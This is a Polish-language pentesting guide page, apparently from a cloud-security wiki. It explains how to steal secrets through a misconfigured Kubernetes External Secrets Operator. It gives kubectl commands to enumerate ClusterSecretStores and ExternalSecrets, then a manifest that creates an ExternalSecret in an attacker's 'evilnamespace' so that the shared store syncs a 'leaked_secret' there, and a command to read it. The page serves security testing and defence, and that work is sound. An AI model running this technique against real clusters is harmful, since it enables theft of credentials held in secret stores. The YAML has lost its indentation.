Kubernetes External Secret Operator

Oryginalnym autorem tej strony jest Fares

Ta strona zawiera wskazówki, jak można zdobyć tajne informacje z źle skonfigurowanego ESO lub aplikacji, która używa ESO do synchronizacji swoich tajemnic.

Oświadczenie

Technika pokazana poniżej może działać tylko w określonych okolicznościach. Na przykład zależy to od wymagań potrzebnych do umożliwienia synchronizacji tajemnicy w przestrzeni nazw, którą posiadasz / skompromitowałeś. Musisz sam to ustalić.

Wymagania wstępne

  1. Punkty zaczepienia w klastrze kubernetes / openshift z uprawnieniami administratora w przestrzeni nazw

  2. Dostęp do odczytu co najmniej ExternalSecret na poziomie klastra

  3. Dowiedz się, czy istnieją wymagane etykiety / adnotacje lub członkostwo w grupie, które są potrzebne do umożliwienia ESO synchronizacji twojej tajemnicy. Jeśli masz szczęście, możesz swobodnie ukraść zdefiniowaną tajemnicę.

Zbieranie informacji o istniejącym ClusterSecretStore

Zakładając, że masz użytkowników, którzy mają wystarczające prawa do odczytu tego zasobu; zacznij od wylistowania istniejących ClusterSecretStores.

kubectl get ClusterSecretStore

Wyliczanie ExternalSecret

Załóżmy, że znalazłeś ClusterSecretStore o nazwie mystore. Kontynuuj, wyliczając powiązane z nim externalsecret.

kubectl get externalsecret -A | grep mystore

Ta zasób jest ograniczony do przestrzeni nazw, więc chyba że już wiesz, w której przestrzeni nazw szukać, dodaj opcję -A, aby przeszukać wszystkie przestrzenie nazw.

Należy uzyskać listę zdefiniowanych externalsecret. Załóżmy, że znalazłeś obiekt externalsecret o nazwie mysecret zdefiniowany i używany przez przestrzeń nazw mynamespace. Zbierz nieco więcej informacji na temat rodzaju przechowywanej tajnej informacji.

kubectl get externalsecret myexternalsecret -n mynamespace -o yaml

Składanie elementów

Z tego miejsca możesz uzyskać nazwę jednej lub wielu nazw sekretów (tak jak zdefiniowano w zasobie Secret). Otrzymasz wynik podobny do:

kind: ExternalSecret
metadata:
annotations:
...
labels:
...
spec:
data:
- remoteRef:
conversionStrategy: Default
decodingStrategy: None
key: SECRET_KEY
secretKey: SOME_PASSWORD
...

Dotychczas uzyskaliśmy:

  • Nazwa ClusterSecretStore

  • Nazwa ExternalSecret

  • Nazwa sekretu

Teraz, gdy mamy wszystko, czego potrzebujemy, możesz utworzyć ExternalSecret (i ewentualnie zmodyfikować/utworzyć nową przestrzeń nazw, aby spełnić wymagane warunki potrzebne do zsynchronizowania nowego sekretu):

kind: ExternalSecret
metadata:
name: myexternalsecret
namespace: evilnamespace
spec:
data:
- remoteRef:
conversionStrategy: Default
decodingStrategy: None
key: SECRET_KEY
secretKey: SOME_PASSWORD
refreshInterval: 30s
secretStoreRef:
kind: ClusterSecretStore
name: mystore
target:
creationPolicy: Owner
deletionPolicy: Retain
name: leaked_secret
kind: Namespace
metadata:
annotations:
required_annotation: value
other_required_annotation: other_value
labels:
required_label: somevalue
other_required_label: someothervalue
name: evilnamespace

Po kilku minutach, jeśli warunki synchronizacji zostały spełnione, powinieneś być w stanie zobaczyć wyciekły sekret wewnątrz swojego namespace'a.

kubectl get secret leaked_secret -o yaml

Odnośniki

Last updated